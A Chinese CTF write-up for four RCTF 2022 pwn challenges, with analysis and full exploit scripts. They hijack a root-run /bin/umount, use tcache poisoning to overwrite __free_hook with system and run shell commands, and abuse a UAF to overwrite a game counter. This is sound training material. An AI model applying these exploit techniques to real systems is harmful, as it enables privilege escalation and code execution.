RCTF2022-PWN-WP/复现
game[非预期]
本来是kernel提权题,但docker起起来之后发现/bin
权限比较大,所以存在非预期。
init
是root权限运行的,
在shell退出之后还有umount
和poweroff
两个指令。所以劫持其中一个binary,然后退出shell就能带出flag。
cd /bin
rm ./umount
echo 'cat flag'>umount
chmod 777 ./umount
exit
ez_atm
分析
给出了一个客户端client
和带有漏洞的服务端ez_atm
,两者使用socket进行通信。
查看Data_send
结构体即可了解通讯使用的协议,
在建立socket连接之后,服务端会fork出一个子进程,并且即刻生成该次会话使用的uuid,并且将随机数使用的种子发给客户端。然后会尝试从客户端收到uuid并验证是否一致。
客户端对应的操作是接受到种子并用相同的逻辑生成uuid,然后发送。
主要功能的逆向略过,这里只说漏洞点。
第一个是leak libc,在stat_query
中。
这里send过来了很多栈上的数据,可以帮助leak。
但是在发送到客户端之后直接被接收了,我们需要对客户端稍作修改,让他打印出来。
(其实是还有另一种思路的,不使用客户端去交互,直接按照协议手动发包模拟客户端行为。只不过这样就需要在一开始验证uuid那里手动按照逻辑生成一下)
这里是libc上的地址,测出偏移后将客户端对应部分patch如下:
测试一下,成功leak:
在new_account
中会申请0x41的chunk,然后passwd
和account_id
分别对应了tcache的next
和key
的位置。
在cancellation
中存在明显的uaf。
思路至此就很明显了,tcache poisoning申请到free hook写入system。
不过想要uaf修改,还需要先login,一个account被free之后password会是堆上的地址,所以还需要leak一下。
布置好freed chunk之后还是先在client的内存中找到heap地址相对于msg_rec
的偏移
然后对client的query功能patch如下:
成功leak,
接下来就是正常的uaf劫持tcache next指针,这里不作详细描述。
成功劫持free hook后外带flag使用cat flag>&4
来发给客户端。
不过用free hook来执行system时,参数是password
处,而password
的长度只有8bytes,有点不够,所以需要配合account_id
来拼接。所以我的构造如下:
- account_id: >&4
- password: cat flag
exp
(需要模拟client发送协议交互的话可以参考注释掉的两个函数来建立连接和发包)
from pwn import *
from ctypes import *
import os
context.log_level='debug'
elf = ELF('./docker/bin/ez_atm')
libc = ELF('./docker/bin/libc-2.27.so')
clibc = cdll.LoadLibrary('./docker/bin/libc-2.27.so')
sa = lambda x,y : p.sendafter(x, y)
sla = lambda x,y : p.sendlineafter(x, y)
ru = lambda x : p.recvuntil(x)
def g():
os.system('ps -a | grep ez_atm')
raw_input()
'''
def init_cli():
ask_time = u32(p.recv(4))
# print(hex(ask_time))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(clibc.rand()%15)[2:]
else:
uuid[i] = hex((clibc.rand()%15) & 3 | 8)[2:]
uuid = ''.join(uuid)
p.send(uuid)
def data_send(op, password=b'', account_id=b'', money=114514):
data = flat(
{
0x0: op,
0x10: password,
0x18: account_id,
0x38: p32(money),
},
filler=b'\x00'
).ljust(0x98, b'\x00')
sleep(0.5)
p.send(data)
'''
def choice(op):
sla('choice :', op)
def add_account(id='kotori', passwd='passwd', money=114514):
choice('new_account')
sla('account id', id)
sla('password', passwd)
sla('money', str(money))
def del_account(passwd='passwd'):
choice('cancellation')
sla('password', passwd)
def login(id, passwd='passwd'):
choice('login')
sla('account id', id)
sla('password', passwd)
def edit_passwd(new_pass, old_pass):
choice('update_pwd')
sla('new password', new_pass)
sleep(0.5)
sla('rd.', old_pass)
p = process(['./client', '139.9.242.36', '4445'])
# p = process(['./client', '127.0.0.1', '3339'])
'''
p = remote('127.0.0.1', 3339)
init_cli()
data_send('new_account', 'passwd', 'ko1')
data_send('exit_account')
data_send('new_account', 'passwd', 'ko2')
data_send('cancellation', 'passwd')
data_send('login', 'passwd', 'ko1')
data_send('query')
'''
choice('stat_query')
libcbase = u64(ru('\x7f')[-6:].ljust(0x8, b'\x00')) - 0x21c87
sys = libcbase + libc.symbols['system']
hook = libcbase + libc.symbols['__free_hook']
print(hex(libcbase))
print(hex(hook))
# data_send('new_account', 'passwd', 'ko1')
add_account('ko1')
choice('exit_account')
add_account('ko2')
del_account()
login('ko1')
choice('query')
heapbase = u64(ru('\x55')[-6:].ljust(0x8, b'\x00')) - 0x10
print(hex(heapbase))
choice('exit_account')
add_account('ko3')
choice('exit_account')
add_account('ko4')
choice('exit_account')
login('ko3')
del_account()
login('ko4')
del_account()
login(p64(heapbase+0x10), p64(heapbase+0x6b0))
edit_passwd(p64(hook), p64(heapbase+0x6b0))
choice('exit_account')
add_account('>&4', 'cat flag')
choice('exit_account')
add_account('pwn', p64(sys))
choice('exit_account')
login('>&4', 'cat flag')
del_account('cat flag')
# g()
p.interactive()
ppurey
分析
一个管理数据库的菜单题。看上去没什么问题,不过在show_note
内部存在一个语句:SELECT * FROM test
只要让一个视图也叫test
,就能执行很多操作。不过到这里之后思路忽然就断了,不是很能找到他可利用的洞在哪里。
在这时忽然发现bss段上存在一个g_chunks
数组,
交叉引用一看,好家伙。很可疑的四个函数。
随便找到一个,继续交叉引用,来到了data段上,发现了几个奇怪的字符串"sm", "se", "ss", "sd"。
继续在前后看了看,发现了"random", "hex", "ifnull"等字符串,
ん?这不就是sqlite3函数的symbol么。
至此,一片新世界打开了。
"sm", "se", "ss", "sd"分别对应堆块的malloc, edit, show, delete操作,并且在delete操作中存在uaf
整理一下思路:
- 利用原有的菜单功能创建一个数据库,并且将
test
作为视图操作写入这个数据库中 - 在
test
中利用sm
,se
,ss
,sd
这几个函数来操作堆块 - uaf打tcache的next,劫持
__free_hook
为system完成利用。
(在做题的时候发现,这题的heap布局极其凌乱,不过好在show是直接write,所以拿一个unsorted bin上的chunk就可以直接leak出残留的libc地址。好久都没做到不是puts
来show的题了,泪目)
exp
from pwn import *
import sqlite3
import os
context.log_level='debug'
elf = ELF('./ppuery')
libc = elf.libc
# p = process('./ppuery')
p = remote('190.92.233.46', 10000)
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
gdb.attach(p, arg)
raw_input()
def choice(idx):
sla('Choice: ', str(idx))
def add_note(name):
choice(1)
sla('Name: ', name)
def show_note(idx):
choice(2)
sla('Index: ', str(idx))
def patch_note(idx, content):
choice(3)
sla('Index: ', str(idx))
sla('Size: ', str(len(content)))
sla('tent: ', content)
def exec_cmd(cmd):
os.system("rm ./kotori.db")
conn = sqlite3.connect('kotori.db')
cur = conn.cursor()
sql_cmd = 'CREATE VIEW test AS SELECT {}'.format(cmd)
print(sql_cmd)
cur.execute(sql_cmd)
conn.commit()
conn.close()
f = open('kotori.db', 'rb').read()
patch_note(0, f)
show_note(0)
def add(idx, size):
exec_cmd('sm({},{})'.format(idx, size))
def edit(idx, offset, content):
exec_cmd('se({},{},{})'.format(idx, offset, content))
def show(idx):
exec_cmd('ss({})'.format(idx))
def delete(idx):
exec_cmd('sd({})'.format(idx))
add_note('aa')
add(0, 0x1f0)
show(0)
ru('Content:')
libcbase = u64(p.recv(8)) - 0x3ebca0
sys = libcbase + libc.symbols['system']
hook = libcbase + libc.symbols['__free_hook']
print(hex(libcbase))
add(1, 0xb0)
add(2, 0xb0)
delete(1)
delete(2)
edit(2, 0, hook)
add(3, 0xb0)
add(4, 0xb0)
edit(3, 0, u64(b'/bin/sh\x00'))
edit(4, 0, sys)
delete(3)
# g()
p.interactive()
MyCarShowSpeed
又是我最爱的游戏题(划掉)
分析
一个赛车游戏,给出了源码。
经过一段时间的查找,发现在赢得足够多的钱的时候可以直接在商店购买flag
//store.c
...
static goods_t normalCar = {"NormalCar", 50};
static goods_t superCar = {"SuperCar", 100};
static goods_t LongCar = {"LongCar", 180};
static goods_t ghostCar = {"GhostCar", 200};
static goods_t fuel = {"Fuel", 10};
static goods_t normalTire = {"NormalTire", 20};
static goods_t SuperTire = {"SuperTire", 80};
static goods_t flag = {"flag", 9999};
...
void sellGoodsImpl(store_t *_this, game_t *game)
{
...
else if(strcmp(goods->name, "flag") == 0)
{
....
else
{
int fd;
char buf[64];
puts("You've earned it!");
puts("Here is your flag!");
fd = open("./flag", O_RDONLY);
if(fd >= 0)
{
read(fd, buf, 64);
write(1, buf, 64);
}
}
return;
}
...
}
所以着重观察一下和钱相关的部分。
在fetchCarImpl
中,出题人好心的给出了一个注释://0
//store.c
car_t * fetchCarImpl(store_t *_this, game_t *game)
{
...
fixDifficulty = car->fixDifficulty;
...
fetchTime = fetchHour * 3600 + fetchMin * 60 + fetchSec * fixDifficulty;// 0
fixTime = fixHour * 3600 + fixMin * 60 + fixSec;
fixedTime = fetchTime - fixTime;
cost = 5 * fixedTime;
if(cost > (int)game->money)
cost = game->money;
car->health += (int)(fixedTime * 0.4) + 50;
game->money -= cost;
...
}
如果fixDifficulty
为0的话,fetchTime
将会小于fixTime
,那么cost
也将变为负数......
game->money -= cost
这一句,不就可以帮助我们快速搞钱了吗。
所以赶紧去找找fixDifficulty
的来头。
//car.h
struct car
{
char name[8];
uint8_t type;
uint8_t performance;
uint8_t isTaken;
uint8_t isWon;
uint8_t fixed;
uint8_t step;
uint8_t fixDifficulty;
...
};
这个fixDifficulty
是在car.h
中声明的一个unit8_t
类型的变量,
并且每局比赛结束会有_this->finishGame(_this)
这一句来调用finishGameImpl
,
finishGameImpl
会让car->fixDifficulty++;
。
所以说,只要快速刷对局,到第255次之后,不停的修车取车就能大赚一笔。
(ps. 最好将时间的秒数控制在较大的秒数,不然会刷的很慢)
(pps. 你每次调试都要等差不多一分钟的样子真的很狼狈.jpg)
虽然钱是拿到了,但是这时又注意到购买flag的另一个检查条件。
//store.h
if(game->winTimes < 1000)
{
puts("No! You cheated in this game! Where did your money come from?\n");
puts("Punish for cheaters!\nYour cars are confiscated!");
carList_t *curCar = game->carList;
while(curCar)
{
car_t *car = curCar->car;
if(car)
{
free(car);
curCar->car = NULL;
}
curCar = curCar->next;
}
game->carList->carNums = 0;
game->userCar = NULL;
}
要让这个winTimes
要达到1000,还需要再想一些办法。(比赛中到这里就停下来啦,后面的做法参考了Nu1L
战队的WriteUp)
这个时候其实可以察觉到,好像买flag被发现作弊时清空车辆的时候是存在uaf的。
并且除了这里的game->carList
以外,在store.c
中修车和取车时还有一个carList。
相当于game->carList
成为了一个dangling pointer。
并且参考car.h
中对car的定义:
struct car
{
char name[8];
uint8_t type;
uint8_t performance;
uint8_t isTaken;
uint8_t isWon;
uint8_t fixed;
uint8_t step;
uint8_t fixDifficulty;
int fuel;
int stability;
int health;
int row;
int col;
int cost;
int padding;
time_t fixTime;
int (*moveCar)(car_t *_this);
void (*addFuel)(car_t *_this);
void (*increaseSpeed)(car_t *_this);
void (*gainExp)(car_t *_this);
void (*fix)(car_t *_this);
void (*printCar)(car_t *_this);
int (*getStep)(car_t *_this);
};
在本来属于tcache
的key
的值的那个位置,会有许多的uint8_t
类型的标记位,且很多标记位在取车和修车时都在被修改,所以tcache bin
对double free的check会有相当大的概率可以被bypass。
所以最少只需要按照:
- 修车,将当前car放入
store->carList
- 购买flag,将car free进入tcache bin。
- 取车,从
store->carList
中拿出,并且改掉某些标记位从而让key不被check
这几个步骤来循环3次,就能在tcache中造出环,且足以完成对winTimes
的劫持。
(需要注意的是,每次在购买flag之后,车名会因为进入tcache而变化)
(取车时还可以通过车名leak出heapaddr,借此计算出winTimes的地址)
exp
from pwn import *
from datetime import *
context.log_level='debug'
elf = ELF('./SpeedGame')
p = process('./SpeedGame')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
ru = lambda x : p.recvuntil(x)
def g(arg=''):
gdb.attach(p, arg)
def choice(op):
sla('\n>', op)
def buyCar(name):
choice('3')
choice('1')
choice('SuperCar')
choice(name)
choice('5')
def buyFlag():
choice('3')
choice('1')
choice('flag')
choice('5')
def buyFlag():
choice('3')
choice('1')
choice('flag')
choice('5')
def fixCar(name=''):
choice('3')
choice('3')
choice(name)
choice('5')
def fetchCar(name):
choice('3')
choice('4')
choice(name)
choice('5')
def play():
choice('1')
ru('Press q to quit.')
p.send(' ')
p.send('q')
buyCar('kot')
for i in range(255):
play()
while(datetime.now().second<40):
sleep(1) # fixsec++
print('[+] waiting for big sec...')
for i in range(60): # earn money
fixCar('kot')
fetchCar('kot')
fixCar('kot')
buyFlag()
fetchCar('')
fixCar()
buyFlag()
choice('3')
choice('4')
ru('CarName: ')
cname = p.recv(6)
choice(cname)
choice('5')
heap_info = u64(cname.ljust(0x8, b'\x00'))
print(hex(heap_info))
fixCar(cname)
buyFlag()
fetchCar(cname)
winTimes_addr = heap_info - 0x2b0
buyCar(p64(winTimes_addr))
buyCar('kot')
buyCar(p64(0xffffffff)) # hijack winTimes
buyFlag()
# g()
p.interactive()